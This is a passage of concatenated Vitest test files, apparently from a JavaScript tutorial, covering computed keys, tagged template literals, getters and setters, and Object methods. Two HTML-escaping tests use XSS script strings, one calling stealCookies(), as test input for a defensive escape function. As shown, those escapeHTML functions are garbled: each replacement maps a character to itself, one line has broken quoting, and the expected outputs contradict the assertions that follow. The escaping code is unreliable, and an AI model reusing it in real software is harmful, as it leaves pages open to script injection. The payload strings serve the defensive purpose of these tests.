handle empty string as key', () => { const obj = { ['']: 'empty key' } expect(obj['']).toBe('empty key') expect(Object.keys(obj)).toEqual(['']) }) it('should handle whitespace-only keys', () => { const obj = { [' ']: 'space', ['\t']: 'tab', ['\n']: 'newline' } expect(obj[' ']).toBe('space') expect(obj['\t']).toBe('tab') expect(obj['\n']).toBe('newline') }) it('should allow reserved words as computed keys', () => { const reserved = 'class' const obj = { [reserved]: 'value', ['for']: 'another', ['return']: 'yet another' } expect(obj.class).toBe('value') expect(obj.for).toBe('another') expect(obj.return).toBe('yet another') }) }) describe('Comparison with Regular Assignment', () => { it('should be equivalent to bracket notation assignment', () => { const key = 'dynamic' const value = 'test' // These are semantically equivalent const obj1 = { [key]: value } const obj2 = {} obj2[key] = value expect(obj1).toEqual(obj2) expect(obj1).toEqual({ dynamic: 'test' }) }) it('should allow mixing computed and static properties', () => { const dynamicKey = 'computed' const obj = { staticKey: 'static value', [dynamicKey]: 'computed value', anotherStatic: 'another value', [`${dynamicKey}_suffix`]: 'suffixed value' } expect(obj).toEqual({ staticKey: 'static value', computed: 'computed value', anotherStatic: 'another value', computed_suffix: 'suffixed value' }) }) }) describe('Integration with Object Methods', () => { it('should work with Object.fromEntries pattern', () => { const entries = [ ['a', 1], ['b', 2], ['c', 3] ] // Object.fromEntries is essentially computed properties under the hood const obj = Object.fromEntries(entries) expect(obj).toEqual({ a: 1, b: 2, c: 3 }) // Equivalent with reduce and computed properties const obj2 = entries.reduce( (acc, [key, value]) => ({ ...acc, [key]: value }), {} ) expect(obj2).toEqual({ a: 1, b: 2, c: 3 }) }) it('should work with Object.entries for round-trip', () => { const original = { a: 1, b: 2, c: 3 } const entries = Object.entries(original) // Transform and recreate const doubled = entries.reduce( (acc, [key, value]) => ({ ...acc, [`${key}_doubled`]: value * 2 }), {} ) expect(doubled).toEqual({ a_doubled: 2, b_doubled: 4, c_doubled: 6 }) }) }) }) ================================================ FILE: tests/beyond/modern-syntax-operators/tagged-template-literals/tagged-template-literals.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Tagged Template Literals', () => { // ============================================================ // OPENING EXAMPLE // From tagged-template-literals.mdx lines 9-20 // ============================================================ describe('Opening Example', () => { // From lines 9-20: highlight tag function it('should wrap interpolated values in <mark> tags', () => { function highlight(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' return result + str + value }, '') } const name = 'Alice' const age = 30 const result = highlight`User ${name} is ${age} years old` expect(result).toBe('User <mark>Alice</mark> is <mark>30</mark> years old') }) }) // ============================================================ // WHAT ARE TAGGED TEMPLATE LITERALS // From tagged-template-literals.mdx lines 41-51 // ============================================================ describe('What are Tagged Template Literals', () => { // From lines 45-51: Basic tag function call it('should call tag function with template literal', () => { let called = false function myTag(strings, ...values) { called = true return 'processed' } const result = myTag`Hello ${'World'}` expect(called).toBe(true) expect(result).toBe('processed') }) }) // ============================================================ // HOW TAG FUNCTIONS WORK // From tagged-template-literals.mdx lines 80-140 // ============================================================ describe('How Tag Functions Work', () => { describe('The Basic Signature', () => { // From lines 95-107: inspect function it('should receive strings and values as separate arguments', () => { let capturedStrings = null let capturedValues = null function inspect(strings, ...values) { capturedStrings = strings capturedValues = values } const fruit = 'apple' const count = 5 inspect`I have ${count} ${fruit}s` expect(capturedStrings).toEqual(['I have ', ' ', 's']) expect(capturedValues).toEqual([5, 'apple']) expect(capturedStrings.length).toBe(3) expect(capturedValues.length).toBe(2) }) }) describe('The Golden Rule', () => { // From lines 113-125: strings.length === values.length + 1 it('should always have one more string than values', () => { function countParts(strings, ...values) { return `${strings.length} strings, ${values.length} values` } expect(countParts`${1}`).toBe('2 strings, 1 values') expect(countParts`x${1}`).toBe('2 strings, 1 values') expect(countParts`${1}y`).toBe('2 strings, 1 values') expect(countParts`x${1}y`).toBe('2 strings, 1 values') expect(countParts`x${1}y${2}z`).toBe('3 strings, 2 values') }) // From lines 127-135: interleave function it('should correctly interleave strings and values', () => { function interleave(strings, ...values) { let result = '' for (let i = 0; i < values.length; i++) { result += strings[i] + values[i] } result += strings[strings.length - 1] return result } const name = 'World' expect(interleave`Hello, ${name}!`).toBe('Hello, World!') }) }) describe('A Cleaner Pattern with reduce', () => { // From lines 139-145: reduce pattern it('should interleave using reduce', () => { function simple(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? values[i] : '' return result + str + value }, '') } expect(simple`Hello, ${'World'}!`).toBe('Hello, World!') expect(simple`No interpolations`).toBe('No interpolations') expect(simple`${1}${2}${3}`).toBe('123') }) }) }) // ============================================================ // THE RAW STRINGS PROPERTY // From tagged-template-literals.mdx lines 151-195 // ============================================================ describe('The Raw Strings Property', () => { describe('Cooked vs Raw', () => { // From lines 159-170: showBoth function it('should provide both cooked and raw strings', () => { let cookedValue = null let rawValue = null function showBoth(strings) { cookedValue = strings[0] rawValue = strings.raw[0] } showBoth`Line1\nLine2` // Cooked: escape sequence is processed expect(cookedValue).toBe('Line1\nLine2') expect(cookedValue.includes('\n')).toBe(true) // actual newline // Raw: escape sequence is preserved expect(rawValue).toBe('Line1\\nLine2') expect(rawValue.includes('\\n')).toBe(true) // literal backslash-n }) }) }) // ============================================================ // STRING.RAW: THE BUILT-IN TAG // From tagged-template-literals.mdx lines 201-250 // ============================================================ describe('String.raw', () => { describe('Basic Usage', () => { // From lines 207-215: String.raw basic example it('should preserve escape sequences as literal characters', () => { // Normal template literal - escape sequences processed const normal = `Line1\nLine2` expect(normal).toBe('Line1\nLine2') expect(normal.length).toBe(11) // 5 + 1 + 5 // String.raw - escape sequences stay as literals const raw = String.raw`Line1\nLine2` expect(raw).toBe('Line1\\nLine2') expect(raw.length).toBe(12) // 5 + 2 + 5 }) }) describe('Perfect for File Paths', () => { // From lines 219-226: Windows file paths it('should handle Windows file paths cleanly', () => { const path1 = 'C:\\Users\\Alice\\Documents\\file.txt' const path2 = String.raw`C:\Users\Alice\Documents\file.txt` expect(path1).toBe(path2) }) }) describe('Perfect for Regular Expressions', () => { // From lines 230-239: Regex patterns it('should simplify regex patterns', () => { const pattern1 = new RegExp('\\d+\\.\\d+') const pattern2 = new RegExp(String.raw`\d+\.\d+`) expect(pattern1.test('3.14')).toBe(true) expect(pattern2.test('3.14')).toBe(true) expect(pattern1.source).toBe(pattern2.source) }) }) describe('How String.raw Works Under the Hood', () => { // From lines 243-249: String.raw as function it('should work as both tag and regular function', () => { const tagged = String.raw`Hi\n${2 + 3}!` const functional = String.raw({ raw: ['Hi\\n', '!'] }, 5) expect(tagged).toBe('Hi\\n5!') expect(functional).toBe('Hi\\n5!') }) }) }) // ============================================================ // BUILDING CUSTOM TAG FUNCTIONS // From tagged-template-literals.mdx lines 256-340 // ============================================================ describe('Building Custom Tag Functions', () => { describe('Example 1: HTML Escaping', () => { // From lines 262-282: html tag function it('should escape HTML entities in interpolated values', () => { function escapeHTML(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''') } function html(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' return result + str + value }, '') } const userInput = '<script>alert("XSS")</script>' const safe = html`<div>User said: ${userInput}</div>` expect(safe).toBe('<div>User said: <script>alert("XSS")</script></div>') expect(safe.includes('<script>')).toBe(false) }) }) describe('Example 2: Highlighting Values', () => { // From lines 288-302: highlight tag it('should wrap all interpolated values in mark tags', () => { function highlight(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' return result + str + value }, '') } const product = 'Widget' const price = 29.99 const message = highlight`The ${product} costs $${price}` expect(message).toBe('The <mark>Widget</mark> costs $<mark>29.99</mark>') }) }) describe('Example 3: Currency Formatting', () => { // From lines 306-325: currency tag it('should format numbers as currency', () => { function currency(strings, ...values) { const formatter = new Intl.NumberFormat('en-US', { style: 'currency', currency: 'USD' }) return strings.reduce((result, str, i) => { let value = values[i] if (typeof value === 'number') { value = formatter.format(value) } return result + str + (value ?? '') }, '') } const item = 'Coffee' const price = 4.5 const tax = 0.36 const result = currency`${item}: ${price} + ${tax} tax` expect(result).toBe('Coffee: $4.50 + $0.36 tax') }) }) describe('Example 4: Debug Logging', () => { // From lines 329-345: debug tag it('should show types and JSON values', () => { function debug(strings, ...values) { let output = '' strings.forEach((str, i) => { output += str if (i < values.length) { const type = typeof values[i] const val = JSON.stringify(values[i]) output += `[${type}: ${val}]` } }) return output } const user = { name: 'Alice', age: 30 } const items = ['apple', 'banana'] const result = debug`User: ${user}, Items: ${items}` expect(result).toBe('User: [object: {"name":"Alice","age":30}], Items: [object: ["apple","banana"]]') }) }) }) // ============================================================ // ADVANCED PATTERNS // From tagged-template-literals.mdx lines 350-420 // ============================================================ describe('Advanced Patterns', () => { describe('Returning Non-Strings', () => { // From lines 356-372: toArray and toObject it('should return an array of values', () => { function toArray(strings, ...values) { return values } const result = toArray`${1} and ${2} and ${3}` expect(result).toEqual([1, 2, 3]) }) it('should return an object from template', () => { function toObject(strings, ...values) { // More robust key extraction - handles the actual string splitting const keys = strings.slice(0, -1).map(s => { // Extract the key name from strings like "name: " or ", age: " const match = s.match(/(\w+)\s*:\s*$/) return match ? match[1] : '' }) const obj = {} keys.forEach((key, i) => { if (key) obj[key] = values[i] }) return obj } const name = 'Alice' const age = 30 const result = toObject`name: ${name}, age: ${age},` expect(result).toEqual({ name: 'Alice', age: 30 }) }) }) describe('Reusable Template Factories', () => { // From lines 376-395: template factory it('should create reusable templates', () => { function template(strings, ...keys) { return function (data) { return strings.reduce((result, str, i) => { const key = keys[i] const value = key !== undefined ? data[key] : '' return result + str + value }, '') } } const greeting = template`Hello, ${'name'}! You have ${'count'} messages.` expect(greeting({ name: 'Alice', count: 5 })).toBe('Hello, Alice! You have 5 messages.') expect(greeting({ name: 'Bob', count: 0 })).toBe('Hello, Bob! You have 0 messages.') }) }) describe('Building an Identity Tag', () => { // From lines 399-415: identity tag it('should process escapes like an untagged template', () => { function identity(strings, ...values) { return String.raw({ raw: strings }, ...values) } const result = identity`Line1\nLine2` expect(result).toBe('Line1\nLine2') expect(result.includes('\n')).toBe(true) // actual newline }) }) }) // ============================================================ // REAL-WORLD USE CASES // From tagged-template-literals.mdx lines 425-500 // ============================================================ describe('Real-World Use Cases', () => { describe('SQL Query Builders', () => { // From lines 430-455: sql tag it('should create parameterized query object', () => { function sql(strings, ...values) { const query = strings.reduce((result, str, i) => { return result + str + (i < values.length ? `$${i + 1}` : '') }, '') return { text: query, values: values } } const userId = 123 const status = 'active' const query = sql` SELECT * FROM users WHERE id = ${userId} AND status = ${status} ` expect(query.text).toContain('$1') expect(query.text).toContain('$2') expect(query.values).toEqual([123, 'active']) }) }) describe('CSS-in-JS Patterns', () => { // From lines 475-490: css tag it('should interpolate values into CSS', () => { function css(strings, ...values) { return strings.reduce((result, str, i) => { return result + str + (values[i] ?? '') }, '') } const primaryColor = '#007bff' const styles = css` .button { background-color: ${primaryColor}; padding: 10px 20px; } ` expect(styles).toContain('#007bff') expect(styles).toContain('.button') }) }) }) // ============================================================ // COMMON MISTAKES // From tagged-template-literals.mdx lines 505-555 // ============================================================ describe('Common Mistakes', () => { describe('Forgetting the Last String', () => { // From lines 510-535: broken vs fixed it('should demonstrate the broken version', () => { function broken(strings, ...values) { return strings.reduce((result, str, i) => { return result + str + values[i] // values[last] is undefined! }, '') } const name = 'Alice' const result = broken`Hello ${name}!` // The bug: strings[2] is "!" but values[1] is undefined expect(result).toBe('Hello Alice!undefined') // Bug! }) it('should demonstrate the fixed version', () => { function fixed(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? values[i] : '' return result + str + value }, '') } const name = 'Alice' const result = fixed`Hello ${name}!` expect(result).toBe('Hello Alice!') // Correct }) }) }) // ============================================================ // TEST YOUR KNOWLEDGE // From tagged-template-literals.mdx Test Your Knowledge section // ============================================================ describe('Test Your Knowledge Examples', () => { // Question 1: Tag function arguments it('Q1: should receive correct strings and values', () => { let receivedStrings = null let receivedValues = null function tag(strings, ...values) { receivedStrings = [...strings] receivedValues = values } const name = 'Alice' const age = 30 tag`Hello ${name}, you are ${age} years old` expect(receivedStrings).toEqual(['Hello ', ', you are ', ' years old']) expect(receivedValues).toEqual(['Alice', 30]) }) // Question 2: strings.length vs values.length it('Q2: should always have one more string than values', () => { function count(strings, ...values) { return `${strings.length} strings, ${values.length} values` } expect(count`${1}`).toBe('2 strings, 1 values') expect(count`x${1}y${2}z`).toBe('3 strings, 2 values') expect(count`no values`).toBe('1 strings, 0 values') }) // Question 3: strings vs strings.raw it('Q3: should show difference between cooked and raw', () => { let cooked = null let raw = null function compare(strings) { cooked = strings[0] raw = strings.raw[0] } compare`Line1\nLine2` expect(cooked).toBe('Line1\nLine2') // processed newline expect(raw).toBe('Line1\\nLine2') // literal \n }) // Question 4: String.raw use cases it('Q4: should preserve backslashes with String.raw', () => { const path = String.raw`C:\Users\Alice\Documents` expect(path).toBe('C:\\Users\\Alice\\Documents') expect(path.includes('\\')).toBe(true) }) // Question 5: Returning non-strings it('Q5: should allow returning any type', () => { function values(strings, ...vals) { return vals } expect(values`${1}, ${2}, ${3}`).toEqual([1, 2, 3]) function sql(strings, ...vals) { return { query: strings.join('?'), params: vals } } const result = sql`SELECT * WHERE id = ${1} AND name = ${'test'}` expect(result.params).toEqual([1, 'test']) }) // Question 6: HTML escaping importance it('Q6: should escape HTML to prevent XSS', () => { function escapeHTML(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''') } function safeHtml(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' return result + str + value }, '') } const userInput = '<script>stealCookies()</script>' const safe = safeHtml`<div>${userInput}</div>` expect(safe).toBe('<div><script>stealCookies()</script></div>') expect(safe.includes('<script>')).toBe(false) }) }) // ============================================================ // EDGE CASES // ============================================================ describe('Edge Cases', () => { it('should handle empty template literal', () => { function tag(strings, ...values) { return { strings: [...strings], values } } const result = tag`` expect(result.strings).toEqual(['']) expect(result.values).toEqual([]) }) it('should handle template with only interpolation', () => { function tag(strings, ...values) { return { strings: [...strings], values } } const result = tag`${42}` expect(result.strings).toEqual(['', '']) expect(result.values).toEqual([42]) }) it('should handle nested tagged templates', () => { function outer(strings, ...values) { // Interleave strings and values properly return '[' + strings.reduce((acc, str, i) => { return acc + str + (values[i] !== undefined ? values[i] : '') }, '') + ']' } function inner(strings, ...values) { return '(' + strings.reduce((acc, str, i) => { return acc + str + (values[i] !== undefined ? values[i] : '') }, '') + ')' } const result = outer`start ${inner`nested ${1}`} end` expect(result).toBe('[start (nested 1) end]') }) it('should handle undefined and null values', () => { function tag(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? String(values[i]) : '' return result + str + value }, '') } expect(tag`Value: ${undefined}`).toBe('Value: ') expect(tag`Value: ${null}`).toBe('Value: null') }) it('should handle function values', () => { function tag(strings, ...values) { return strings.reduce((result, str, i) => { let value = values[i] if (typeof value === 'function') { value = value() } return result + str + (value ?? '') }, '') } const result = tag`Result: ${() => 42}` expect(result).toBe('Result: 42') }) it('should preserve the strings array between calls', () => { const callHistory = [] function tag(strings, ...values) { callHistory.push(strings) return {} } function evaluateLiteral() { return tag`Hello, ${'world'}!` } evaluateLiteral() evaluateLiteral() // Same strings array is passed each time expect(callHistory[0]).toBe(callHistory[1]) }) }) }) ================================================ FILE: tests/beyond/objects-properties/getters-setters/getters-setters.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Getters and Setters', () => { describe('Basic Getter Syntax in Object Literals', () => { it('should return computed value from getter', () => { const user = { firstName: "Alice", lastName: "Smith", get fullName() { return `${this.firstName} ${this.lastName}` } } expect(user.fullName).toBe("Alice Smith") }) it('should recalculate getter on each access', () => { const user = { firstName: "Alice", lastName: "Smith", get fullName() { return `${this.firstName} ${this.lastName}` } } expect(user.fullName).toBe("Alice Smith") user.firstName = "Bob" expect(user.fullName).toBe("Bob Smith") }) it('should access getter without parentheses', () => { const obj = { get value() { return 42 } } expect(obj.value).toBe(42) expect(typeof obj.value).toBe("number") }) it('should support computed property names for getters', () => { const propName = "status" const obj = { _status: "active", get [propName]() { return this._status.toUpperCase() } } expect(obj.status).toBe("ACTIVE") }) it('should allow multiple getters on same object', () => { const rectangle = { width: 10, height: 5, get area() { return this.width * this.height }, get perimeter() { return 2 * (this.width + this.height) } } expect(rectangle.area).toBe(50) expect(rectangle.perimeter).toBe(30) }) }) describe('Basic Setter Syntax in Object Literals', () => { it('should call setter on assignment', () => { const obj = { _value: 0, set value(v) { this._value = v * 2 } } obj.value = 5 expect(obj._value).toBe(10) }) it('should support validation in setter', () => { const account = { _balance: 0, set balance(value) { if (value < 0) { throw new Error("Balance cannot be negative") } this._balance = value } } account.balance = 100 expect(account._balance).toBe(100) expect(() => { account.balance = -50 }).toThrow("Balance cannot be negative") }) it('should update backing property', () => { const user = { _name: "", set name(value) { this._name = value.trim().toUpperCase() } } user.name = " alice " expect(user._name).toBe("ALICE") }) it('should support side effects in setter', () => { const log = [] const obj = { set action(value) { log.push(`Action: ${value}`) } } obj.action = "login" obj.action = "logout" expect(log).toEqual(["Action: login", "Action: logout"]) }) it('should support computed property names for setters', () => { const propName = "data" const obj = { _data: null, set [propName](value) { this._data = JSON.stringify(value) } } obj.data = { a: 1 } expect(obj._data).toBe('{"a":1}') }) }) describe('Getters in Classes', () => { it('should define getter in class', () => { class Circle { constructor(radius) { this.radius = radius } get area() { return Math.PI * this.radius ** 2 } } const circle = new Circle(5) expect(circle.area).toBeCloseTo(78.54, 1) }) it('should compute getter from instance properties', () => { class Temperature { constructor(celsius) { this._celsius = celsius } get fahrenheit() { return this._celsius * 9/5 + 32 } } const temp = new Temperature(100) expect(temp.fahrenheit).toBe(212) }) it('should support static getters', () => { class Config { static _version = "1.0.0" static get version() { return `v${this._version}` } } expect(Config.version).toBe("v1.0.0") }) it('should inherit getters from parent class', () => { class Animal { constructor(name) { this._name = name } get name() { return this._name } } class Dog extends Animal { constructor(name, breed) { super(name) this.breed = breed } } const dog = new Dog("Rex", "German Shepherd") expect(dog.name).toBe("Rex") }) }) describe('Setters in Classes', () => { it('should define setter with validation in class', () => { class User { constructor() { this._age = 0 } set age(value) { if (value < 0 || value > 150) { throw new Error("Invalid age") } this._age = value } get age() { return this._age } } const user = new User() user.age = 25 expect(user.age).toBe(25) expect(() => { user.age = -5 }).toThrow("Invalid age") }) it('should support static setters', () => { class Config { static _debug = false static set debug(value) { this._debug = Boolean(value) } static get debug() { return this._debug } } Config.debug = 1 expect(Config.debug).toBe(true) Config.debug = 0 expect(Config.debug).toBe(false) }) it('should override setter in subclass', () => { class Animal { constructor() { this._name = "" } set name(value) { this._name = value } get name() { return this._name } } class Dog extends Animal { set name(value) { super.name = `🐕 ${value}` } // Must also provide getter when overriding setter get name() { return super.name } } const dog = new Dog() dog.name = "Rex" expect(dog.name).toBe("🐕 Rex") }) }) describe('Object.defineProperty() Accessor Descriptors', () => { it('should define getter with defineProperty', () => { const obj = { _value: 42 } Object.defineProperty(obj, "value", { get() { return this._value * 2 }, enumerable: true }) expect(obj.value).toBe(84) }) it('should define setter with defineProperty', () => { const obj = { _value: 0 } Object.defineProperty(obj, "value", { set(v) { this._value = v }, enumerable: true }) obj.value = 100 expect(obj._value).toBe(100) }) it('should define both getter and setter with defineProperty', () => { const user = { _name: "" } Object.defineProperty(user, "name", { get() { return this._name }, set(value) { this._name = value.trim() }, enumerable: true, configurable: true }) user.name = " Alice " expect(user.name).toBe("Alice") }) it('should throw when mixing value and get', () => { expect(() => { Object.defineProperty({}, "prop", { value: 42, get() { return 42 } }) }).toThrow(TypeError) }) it('should throw when mixing writable and set', () => { expect(() => { Object.defineProperty({}, "prop", { writable: true, set(v) { } }) }).toThrow(TypeError) }) it('should return correct descriptor for accessor property', () => { const obj = { get prop() { return "value" }, set prop(v) { } } const descriptor = Object.getOwnPropertyDescriptor(obj, "prop") expect(typeof descriptor.get).toBe("function") expect(typeof descriptor.set).toBe("function") expect(descriptor.value).toBeUndefined() expect(descriptor.writable).toBeUndefined() expect(descriptor.enumerable).toBe(true) expect(descriptor.configurable).toBe(true) }) }) describe('Getter-Only Properties (Read-Only)', () => { it('should create read-only property with getter only', () => { const obj = { get readOnly() { return "constant" } } expect(obj.readOnly).toBe("constant") }) it('should throw in strict mode when setting getter-only property', () => { "use strict" const obj = { get value() { return 42 } } expect(() => { obj.value = 100 }).toThrow(TypeError) }) it('should inherit getter-only as read-only', () => { const parent = { get constant() { return "immutable" } } const child = Object.create(parent) expect(child.constant).toBe("immutable") expect(() => { child.constant = "changed" }).toThrow(TypeError) }) it('should allow computed read-only properties', () => { const circle = { radius: 5, get area() { return Math.PI * this.radius ** 2 }, get circumference() { return 2 * Math.PI * this.radius } } expect(circle.area).toBeCloseTo(78.54, 1) expect(circle.circumference).toBeCloseTo(31.42, 1) }) }) describe('Setter-Only Properties (Write-Only)', () => { it('should return undefined when reading setter-only property', () => { const obj = { _lastValue: null, set value(v) { this._lastValue = v } } obj.value = 42 expect(obj.value).toBeUndefined() expect(obj._lastValue).toBe(42) }) it('should allow write-only for logging', () => { const logs = [] const logger = { set log(message) { logs.push(`[${Date.now()}] ${message}`) } } logger.log = "Event 1" logger.log = "Event 2" expect(logger.log).toBeUndefined() expect(logs.length).toBe(2) expect(logs[0]).toMatch(/Event 1/) expect(logs[1]).toMatch(/Event 2/) }) it('should support setter-only with side effects', () => { const state = { count: 0 } const obj = { set increment(_) { state.count++ } } obj.increment = null obj.increment = null obj.increment = null expect(state.count).toBe(3) }) }) describe('Infinite Recursion Prevention', () => { it('should avoid infinite loop with backing property', () => { const obj = { _name: "", get name() { return this._name }, set name(value) { this._name = value } } obj.name = "Alice" expect(obj.name).toBe("Alice") }) it('should work with private fields as backing store', () => { class User { #name = "" get name() { return this.#name } set name(value) { this.#name = value } } const user = new User() user.name = "Bob" expect(user.name).toBe("Bob") }) it('should work with closure variable as backing store', () => { function createCounter() { let count = 0 return { get value() { return count }, set value(v) { count = v } } } const counter = createCounter() counter.value = 10 expect(counter.value).toBe(10) }) }) describe('Inheritance of Getters and Setters', () => { it('should inherit getter from prototype', () => { const proto = { _value: 42, get value() { return this._value } } const obj = Object.create(proto) expect(obj.value).toBe(42) }) it('should override getter in subclass', () => { class Parent { get greeting() { return "Hello" } } class Child extends Parent { get greeting() { return "Hi" } } const parent = new Parent() const child = new Child() expect(parent.greeting).toBe("Hello") expect(child.greeting).toBe("Hi") }) it('should call parent getter with super', () => { class Parent { get value() { return 10 } } class Child extends Parent { get value() { return super.value * 2 } } const child = new Child() expect(child.value).toBe(20) }) it('should reveal inherited getter after delete', () => { const parent = { get value() { return "parent" } } const child = Object.create(parent) Object.defineProperty(child, "value", { get() { return "child" }, configurable: true }) expect(child.value).toBe("child") delete child.value expect(child.value).toBe("parent") }) }) describe('JSON.stringify() and Enumeration', () => { it('should include getter value in JSON.stringify', () => { const obj = { a: 1, get b() { return 2 } } const json = JSON.stringify(obj) expect(json).toBe('{"a":1,"b":2}') }) it('should not include setter-only properties in JSON', () => { const obj = { a: 1, set b(v) { } } const json = JSON.stringify(obj) expect(json).toBe('{"a":1}') }) it('should include enumerable getters in for...in', () => { const obj = { a: 1, get b() { return 2 } } const keys = [] for (const key in obj) { keys.push(key) } expect(keys).toContain("a") expect(keys).toContain("b") }) it('should include enumerable getters in Object.keys()', () => { const obj = { a: 1, get b() { return 2 } } expect(Object.keys(obj)).toEqual(["a", "b"]) }) it('should exclude non-enumerable getters from Object.keys()', () => { const obj = { a: 1 } Object.defineProperty(obj, "hidden", { get() { return "secret" }, enumerable: false }) expect(Object.keys(obj)).toEqual(["a"]) expect(obj.hidden).toBe("secret") }) }) describe('Performance Patterns', () => { it('should call getter on every access', () => { let callCount = 0 const obj = { get value() { callCount++ return 42 } } obj.value obj.value obj.value expect(callCount).toBe(3) }) it('should support memoization pattern', () => { let computeCount = 0 const obj = { _cached: null, get expensive() { if (this._cached === null) { computeCount++ this._cached = 42 // Simulate expensive computation } return this._cached } } obj.expensive obj.expensive obj.expensive expect(computeCount).toBe(1) expect(obj.expensive).toBe(42) }) it('should support self-replacing lazy getter', () => { let computeCount = 0 const obj = { get lazy() { computeCount++ const value = Math.random() Object.defineProperty(this, "lazy", { value: value, writable: false, configurable: false }) return value } } const first = obj.lazy const second = obj.lazy const third = obj.lazy expect(computeCount).toBe(1) expect(first).toBe(second) expect(second).toBe(third) }) }) describe('Edge Cases', () => { it('should allow getter and setter with different logic', () => { const obj = { _raw: "", get value() { return this._raw.toUpperCase() }, set value(v) { this._raw = v.toLowerCase() } } obj.value = "HeLLo" expect(obj._raw).toBe("hello") expect(obj.value).toBe("HELLO") }) it('should work with Symbol property names', () => { const sym = Symbol("secret") const obj = { _secret: 42, get [sym]() { return this._secret } } expect(obj[sym]).toBe(42) }) it('should handle this correctly in nested objects', () => { const outer = { inner: { value: 10, get doubled() { return this.value * 2 } } } expect(outer.inner.doubled).toBe(20) }) it('should work with destructuring (getter is called)', () => { let callCount = 0 const obj = { get value() { callCount++ return 42 } } const { value } = obj expect(value).toBe(42) expect(callCount).toBe(1) }) }) }) ================================================ FILE: tests/beyond/objects-properties/object-methods/object-methods.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Object Methods', () => { // ============================================================ // ITERATION METHODS: keys, values, entries // From object-methods.mdx lines 60-120 // ============================================================ describe('Iteration Methods', () => { describe('Object.keys()', () => { // From lines 65-74: Basic Object.keys() usage it('should return an array of property names', () => { const user = { name: 'Alice', age: 30, city: 'NYC' } const keys = Object.keys(user) expect(keys).toEqual(['name', 'age', 'city']) }) // From lines 76-79: Looping through keys it('should allow iteration over keys', () => { const user = { name: 'Alice', age: 30, city: 'NYC' } const collectedKeys = [] for (const key of Object.keys(user)) { collectedKeys.push(key) } expect(collectedKeys).toEqual(['name', 'age', 'city']) }) }) describe('Object.values()', () => { // From lines 83-89: Basic Object.values() usage it('should return an array of property values', () => { const user = { name: 'Alice', age: 30, city: 'NYC' } const values = Object.values(user) expect(values).toEqual(['Alice', 30, 'NYC']) }) // From lines 91-95: Sum values with reduce it('should allow summing numeric values', () => { const scores = { math: 95, science: 88, history: 92 } const total = Object.values(scores).reduce((sum, score) => sum + score, 0) expect(total).toBe(275) }) }) describe('Object.entries()', () => { // From lines 99-106: Basic Object.entries() usage it('should return an array of [key, value] pairs', () => { const user = { name: 'Alice', age: 30, city: 'NYC' } const entries = Object.entries(user) expect(entries).toEqual([ ['name', 'Alice'], ['age', 30], ['city', 'NYC'] ]) }) // From lines 108-115: Destructuring in a loop it('should allow destructured iteration', () => { const user = { name: 'Alice', age: 30, city: 'NYC' } const output = [] for (const [key, value] of Object.entries(user)) { output.push(`${key}: ${value}`) } expect(output).toEqual(['name: Alice', 'age: 30', 'city: NYC']) }) }) // From note about enumerable properties describe('Enumerable Properties Only', () => { it('should only return enumerable own properties', () => { const obj = {} Object.defineProperty(obj, 'hidden', { value: 'secret', enumerable: false }) obj.visible = 'public' expect(Object.keys(obj)).toEqual(['visible']) expect(Object.values(obj)).toEqual(['public']) expect(Object.entries(obj)).toEqual([['visible', 'public']]) }) }) }) // ============================================================ // TRANSFORMING OBJECTS WITH fromEntries() // From object-methods.mdx lines 130-180 // ============================================================ describe('Object.fromEntries()', () => { // From lines 135-138: Basic fromEntries usage it('should create an object from entries array', () => { const entries = [['name', 'Alice'], ['age', 30]] const user = Object.fromEntries(entries) expect(user).toEqual({ name: 'Alice', age: 30 }) }) // From lines 143-150: Transform object keys to uppercase it('should transform object keys to uppercase', () => { const user = { name: 'Alice', age: 30, city: 'NYC' } const upperCased = Object.fromEntries( Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) ) expect(upperCased).toEqual({ NAME: 'Alice', AGE: 30, CITY: 'NYC' }) }) // From lines 154-161: Filter object properties it('should filter object properties by value type', () => { const product = { name: 'Laptop', price: 999, inStock: true, sku: 'LP001' } const stringsOnly = Object.fromEntries( Object.entries(product).filter(([key, value]) => typeof value === 'string') ) expect(stringsOnly).toEqual({ name: 'Laptop', sku: 'LP001' }) }) // From lines 165-172: Convert Map to object it('should convert a Map to an object', () => { const map = new Map([ ['name', 'Alice'], ['role', 'Admin'] ]) const obj = Object.fromEntries(map) expect(obj).toEqual({ name: 'Alice', role: 'Admin' }) }) }) // ============================================================ // CLONING AND MERGING OBJECTS // From object-methods.mdx lines 185-270 // ============================================================ describe('Cloning and Merging', () => { describe('Object.assign()', () => { // From lines 192-197: Basic assign usage it('should copy properties from source to target', () => { const target = { a: 1 } const source = { b: 2 } Object.assign(target, source) expect(target).toEqual({ a: 1, b: 2 }) }) // From lines 199-205: Clone using empty target it('should clone an object using empty target', () => { const original = { name: 'Alice', age: 30 } const clone = Object.assign({}, original) clone.name = 'Bob' expect(original.name).toBe('Alice') expect(clone.name).toBe('Bob') }) // From lines 207-213: Merge multiple objects it('should merge multiple objects with later sources overriding', () => { const defaults = { theme: 'light', fontSize: 14 } const userPrefs = { theme: 'dark' } const settings = Object.assign({}, defaults, userPrefs) expect(settings).toEqual({ theme: 'dark', fontSize: 14 }) }) // From lines 217-228: Shallow copy warning it('should only shallow copy nested objects', () => { const original = { name: 'Alice', address: { city: 'NYC' } } const clone = Object.assign({}, original) clone.address.city = 'LA' // Both changed because nested object is shared! expect(original.address.city).toBe('LA') expect(clone.address.city).toBe('LA') }) }) describe('structuredClone()', () => { // From lines 233-244: Deep clone with structuredClone it('should deep clone nested objects', () => { const original = { name: 'Alice', address: { city: 'NYC' } } const clone = 